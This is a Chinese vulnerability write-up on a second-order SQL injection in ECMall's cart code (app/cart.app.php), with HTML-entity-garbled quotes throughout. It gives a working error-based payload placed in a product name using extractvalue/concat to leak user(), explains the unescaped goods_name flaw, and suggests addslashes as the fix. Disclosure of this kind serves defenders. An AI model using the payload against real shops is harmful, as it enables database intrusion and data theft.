Ecmall某处SQL二次注入第一弹网站安全自学p

20140618做了些过滤但是还是能勉强绕过

首先注册一个会员 然后发布以上商品
然后转义入库 入库后转义符消失

商品名称 商品分类 品牌 价格 库存 上架 推荐 禁售 操作
全选
xxx&＃39;and extractvalue(1,concat(0x5c,(user()))),1,1,1,1)# 10.00 100 [可编辑] [可编辑] 编辑 | 删除

发布一个如上的商品

然后找找出库的地方

在app/cart.app.php中

 

function add()
{
$spec_id = isset($_GET[&＃39;spec_id&＃39;]) ? intval($_GET[&＃39;spec_id&＃39;]) : 0;
$quantity = isset($_GET[&＃39;quantity&＃39;]) ? intval($_GET[&＃39;quantity&＃39;]) : 0;
if (!$spec_id || !$quantity)
{
return;
}
/* 是否有商品 */
$spec_model =& m(&＃39;goodsspec&＃39;);
$spec_info = $spec_model->get(array(
&＃39;conditions&＃39; => $spec_id,
&＃39;join&＃39; => &＃39;belongs_to_goods&＃39;,
));
if (!$spec_info)
{
$this->json_error(&＃39;no_such_goods&＃39;);
/* 商品不存在 */
return;
}
/* 如果是自己店铺的商品，则不能购买 */
if ($this->visitor->get(&＃39;manage_store&＃39;))
{
if ($spec_info[&＃39;store_id&＃39;] == $this->visitor->get(&＃39;manage_store&＃39;))
{
$this->json_error(&＃39;can_not_buy_yourself&＃39;);
return;
}
}
/* 是否添加过 */
$model_cart =& m(&＃39;cart&＃39;);
$item_info = $model_cart->get("spec_id={$spec_id} AND session_id=&＃39;" . SESS_ID . "&＃39;");
if (!empty($item_info))
{
$this->json_error(&＃39;goods_already_in_cart&＃39;);
return;
}
if ($quantity > $spec_info[&＃39;stock&＃39;])
{
$this->json_error(&＃39;no_enough_goods&＃39;);
return;
}
$spec_1 = $spec_info[&＃39;spec_name_1&＃39;] ? $spec_info[&＃39;spec_name_1&＃39;] . &＃39;:&＃39; . $spec_info[&＃39;spec_1&＃39;] : $spec_info[&＃39;spec_1&＃39;];
$spec_2 = $spec_info[&＃39;spec_name_2&＃39;] ? $spec_info[&＃39;spec_name_2&＃39;] . &＃39;:&＃39; . $spec_info[&＃39;spec_2&＃39;] : $spec_info[&＃39;spec_2&＃39;];
$specification = $spec_1 . &＃39; &＃39; . $spec_2;
/* 将商品加入购物车 */
$cart_item = array(
&＃39;user_id&＃39; => $this->visitor->get(&＃39;user_id&＃39;),
&＃39;session_id&＃39; => SESS_ID,
&＃39;store_id&＃39; => $spec_info[&＃39;store_id&＃39;],
&＃39;spec_id&＃39; => $spec_id,
&＃39;goods_id&＃39; => $spec_info[&＃39;goods_id&＃39;],
&＃39;goods_name&＃39; => $spec_info[&＃39;goods_name&＃39;],
&＃39;specification&＃39; => trim($specification),
&＃39;price&＃39; => $spec_info[&＃39;price&＃39;],
&＃39;quantity&＃39; => $quantity,
&＃39;goods_image&＃39; => $spec_info[&＃39;default_image&＃39;],

这里出库后 goods_name没转义。

造成了二次注入。

 

直接出数据

 
修复方案：

addslashes